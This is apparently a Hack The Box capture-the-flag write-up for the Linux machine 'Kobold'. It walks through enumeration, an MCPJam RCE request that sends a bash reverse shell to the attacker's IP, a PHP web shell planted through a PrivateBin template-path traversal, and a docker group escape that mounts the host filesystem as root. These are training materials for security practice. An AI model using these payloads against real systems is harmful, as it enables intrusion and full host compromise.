MysticHackersBlog

Kobold WriteUp - HackTheBox


Kobold is an easy-rated Linux machine on Hack The Box that focuses on Kobold Agent, Arcane, and Docker-based misconfigurations. The machine highlights how inconsistencies between /etc/gshadow and /etc/group can introduce privilege escalation vulnerabilities, ultimately leading to full system compromise.

ENUMERATION

First, we need to check for the services and ports the machine exposes. We kick things off with an nmap scan.

NMAP

We scan for the open and filtered ports on the machine, output the ports separated by comma, then we perform a default scripts and service detection scan on these ports.

sudo nmap -sVC --min-rate 400 10.129.42.80 -p $(nmap --min-rate 800 10.129.42.80 -p- | grep -i "open\|filtered" | cut -d'/' -f1 | grep . | tr "\n" ",")
PORT      STATE  SERVICE  VERSION
22/tcp    open   ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp    open   http     nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp   open   ssl/http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://kobold.htb/
| tls-alpn:
|   http/1.1
|   http/1.0
|_  http/0.9
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after:  2125-02-19T15:08:55
3552/tcp  open   http     Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Length: 2081
|     Content-Type: text/html; charset=utf-8
|     Expires: 0
|     Pragma: no-cache
|     Date: Sat, 01 Aug 2026 14:39:35 GMT
|     <!doctype html>
|     <html lang="%lang%">
|     <head>
|     <meta charset="utf-8" />
|     <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|     <meta http-equiv="Pragma" content="no-cache" />
|     <meta http-equiv="Expires" content="0" />
|     <link rel="icon" href="/api/app-images/favicon" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
|     <link rel="manifest" href="/app.webmanifest" />
|     <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
|     <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|     <link rel="modu
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Length: 2081
|     Content-Type: text/html; charset=utf-8
|     Expires: 0
|     Pragma: no-cache
|     Date: Sat, 01 Aug 2026 14:39:36 GMT
|     <!doctype html>
|     <html lang="%lang%">
|     <head>
|     <meta charset="utf-8" />
|     <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|     <meta http-equiv="Pragma" content="no-cache" />
|     <meta http-equiv="Expires" content="0" />
|     <link rel="icon" href="/api/app-images/favicon" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
|     <link rel="manifest" href="/app.webmanifest" />
|     <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
|     <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|_    <link rel="modu

We find that ports 22, 80, 443 and 3552 are open, where port 22 is for SSH, port 80 and 443 redirect to the hostname kobold.htb and port 3552 hosts a GoLang HTTP server.

Before moving any further it is imperative that we add the domain name to our /etc/hosts for name resolution.

echo "10.129.42.80  kobold.htb" | sudo tee -a /etc/hosts

KOBOLD.HTB

Visiting kobold.htb in the browser we come across a simple website for Kobold Operations Suite. image

PORT 3552

Visiting port 3552, we come across an Arcane web portal. The box is running Arcane 1.13.0, searching the web reveals CVE-2026-23944. which is an authentication bypass vulnerability. Arcane Arcane is primarily used to manage docker containers.

FFUF

Next, we try to fuzz for other virtual hosts that the webserver on the machine might be hosting. We can use FFuF along with a wordlist from seclists to brute force possible subdomain names.

ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -u https://10.129.42.80 -H "Host: FUZZ.kobold.htb" -t 32 -fs 154
bin                     [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 1282ms]
mcp                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 556ms]

This reveals 2 other subdomains: bin.kobold.htb and mcp.kobold.htb. We add these to /etc/hosts using nano such that the entry becomes: 10.129.42.80 kobold.htb bin.kobold.htb mcp.kobold.htb.

sudo nano /etc/hosts

BIN.KOBOLD.HTB

This is a PrivateBin version 2.0.2 site on the box. PrivateBin Searching for CVEs related to this version across the web, we come across CVE-2025-64714.

MCP.KOBOLD.HTB

This domain hosts an MCPJam server. On the settings page, we can see that it runs version 1.4.2. MCPJam Searching for a CVE related to this version we come across CVE-2026-23744 that allows remote code execution (RCE) by an attacker through specially crafted HTTP requests.

FOOTHOLD

Searching for the MCPJam vulnerability's exploit we come across this Github advisory which includes the PoC.

To exploit this and achieve RCE, we will crate a reverse shell to our attack machine. For this, we get our ip address and open a netcat listener.

sudo ifconfig tun0
nc -lvnp 4444

Using this we craft the payload.

curl -k -X POST https://mcp.kobold.htb/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\
"command\":\"bash\",\"args\":[\"-c\", \"bash -i >&/dev/tcp/10.10.16.x/4444 0>&1\"],\"env\":{}},\"serverId\":\"boom\"}"

This instantly gives us a shell as the user ben on the listener we set up.

USER FLAG

The user flag can be obtained from Ben's Home.

ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ cat ~/user.txt

LATERAL MOVEMENT

We search for potential path for privilege escalation by executing a bunch of commands to understand the machine environment.

ben@kobold:~$ env
env
SHELL=/bin/bash
PWD=/home/ben
LOGNAME=ben
HOME=/home/ben
LS_COLORS=
LESSCLOSE=/usr/bin/lesspipe %s %s
LESSOPEN=| /usr/bin/lesspipe %s
USER=ben
SHLVL=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin
_=/usr/bin/env
OLDPWD=/usr/local/lib/node_modules/@mcpjam/inspector
ben@kobold:~$ id
id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
  • Ben is a part of the operator group.
ben@kobold:~$ ls -la /
ls -la /
total 81
drwxr-xr-x  22 root root      4096 Mar 16 20:57 .
drwxr-xr-x  22 root root      4096 Mar 16 20:57 ..
drwxr-xr-x   3 root root      4096 Mar 16 20:57 app
lrwxrwxrwx   1 root root         7 Apr 22  2024 bin -> usr/bin
drwxr-xr-x   4 root root      1024 Mar 15 21:26 boot
dr-xr-xr-x   2 root root      4096 Mar 15 21:23 cdrom
drwxr-xr-x  20 root root      4040 Aug  1 14:26 dev
drwxr-xr-x 117 root root      4096 May 11 12:13 etc
drwxr-xr-x   4 root root      4096 Mar 15 21:23 home
lrwxrwxrwx   1 root root         7 Apr 22  2024 lib -> usr/lib
lrwxrwxrwx   1 root root         9 Apr 22  2024 lib64 -> usr/lib64
drwx------   2 root root     16384 Feb 21  2025 lost+found
drwxr-xr-x   2 root root      4096 Mar 15 21:23 media
drwxr-xr-x   4 root root      4096 Mar 15 21:23 mnt
drwxr-xr-x   3 root root      4096 Mar 15 21:23 opt
drwxrwx---   5 root operator  4096 Mar 15 21:23 privatebin-data
dr-xr-xr-x 282 root root         0 Aug  1 14:26 proc
drwx------   7 root root      4096 Aug  1 14:27 root
drwxr-xr-x  31 root root       960 Aug  1 14:34 run
lrwxrwxrwx   1 root root         8 Apr 22  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root      4096 Feb 21  2025 snap
drwxr-xr-x   2 root root      4096 Mar 15 21:23 srv
dr-xr-xr-x  13 root root         0 Aug  1 18:17 sys
drwxrwxrwt  15 root root      4096 Aug  1 18:09 tmp
drwxr-xr-x  12 root root      4096 Feb 16  2025 usr
drwxr-xr-x  14 root root      4096 Feb 15 10:26 var

The operator group has read, write and execute permissions on /privatebin-data.

ben@kobold:~$ ps aux
...
root        2017  0.0  0.1 1671112 4148 ?        Sl   10:27   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.17.0.2 -container-port 8080 -use-listen-fd
...

This part is done only to achieve command execution on the container (practice), it is not strictly required to get the root flag.

The root user is running the privatebin docker container.

This can be verified by either reading configuration files under /etc/nginx or checking the service running directly using curl http://127.0.0.1:8080.

This means that we can drop in a PHP web shell in that directory and leverage CVE-2025-64714, to gain reverse shell into the privatebin container.

First, we confirm the vulnerability through a curl request.

curl -s -k   --cookie 'template=../cfg/conf'   -G --data-urlencode "cmd=id"   https://bin.kobold.htb

Once confirmed, we drop a PHP webshell as ben into /privatebin-data/data.

ben@kobold:/privatebin-data$ echo '<?php system($_GET["cmd"]); ?>' > data/exp.php
curl -s -k   --cookie 'template=../data/exp' -G --data-urlencode "cmd=id" https://bin.kobold.htb

   uid=65534(nobody) gid=82(www-data) groups=82(www-data)
curl -s -k   --cookie 'template=../data/exp'   -G --data-urlencode "cmd=ls -la /"   https://bin.kobold.htb
total 68
drwxr-xr-x    1 root     root          4096 Mar 15 21:23 .
drwxr-xr-x    1 root     root          4096 Mar 15 21:23 ..
-rwxr-xr-x    1 root     root             0 Feb 16 08:24 .dockerenv
drwxr-xr-x    1 root     root          4096 Oct 28  2025 bin
drwxr-xr-x    5 root     root           340 Aug  2 10:27 dev
drwxr-xr-x    1 root     root          4096 Mar 15 21:23 etc
drwxr-xr-x    2 root     root          4096 Oct  8  2025 home
drwxr-xr-x    1 root     root          4096 Oct  8  2025 lib
drwxr-xr-x    5 root     root          4096 Oct  8  2025 media
drwxr-xr-x    2 root     root          4096 Oct  8  2025 mnt
drwxr-xr-x    2 root     root          4096 Oct  8  2025 opt
dr-xr-xr-x  280 root     root             0 Aug  2 10:27 proc
drwx------    1 root     root          4096 Oct 28  2025 root
drwxr-xrwx    5 nobody   www-data      4096 Aug  2 10:27 run
drwxr-xr-x    2 root     root          4096 Oct  8  2025 sbin
drwxr-xr-x    1 root     root          4096 Oct 28  2025 srv
dr-xr-xr-x   13 root     root             0 Aug  2 10:27 sys
drwxrwxrwt    2 root     root          4096 Mar 15 21:23 tmp
drwxr-xr-x    1 root     root          4096 Oct 28  2025 usr
drwxr-xr-x    1 root     root          4096 Oct 28  2025 var

ROOT FLAG

We can check the groups on the system.

ben@kobold:~$ cat /etc/group
...
ben:x:1001:
ssl-cert:x:110:
docker:x:111:alice
alice:x:1002:
...

Turns out, the user alice is a part od the docker group.

As the user ben, when we try using docker, the permission is denied since we are not a part of docker group, however, using sg we are able to act as a part of the docker group.

ben@kobold:~$ sg docker -c "id"
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

So we can manage docker containers and use the privatebin docker container to attach the host filesystem to it, ultimately, reading the root flag.

ben@kobold:~$ sg docker -c 'docker run -v /:/hostfs --rm --user root --entrypoint cat privatebin/nginx-fpm-alpine:2.0.2 /hostfs/root/root.txt'
<FLAG_REDACTED>

This concludes the Kobold machine!

Kobold WriteUp - HackTheBox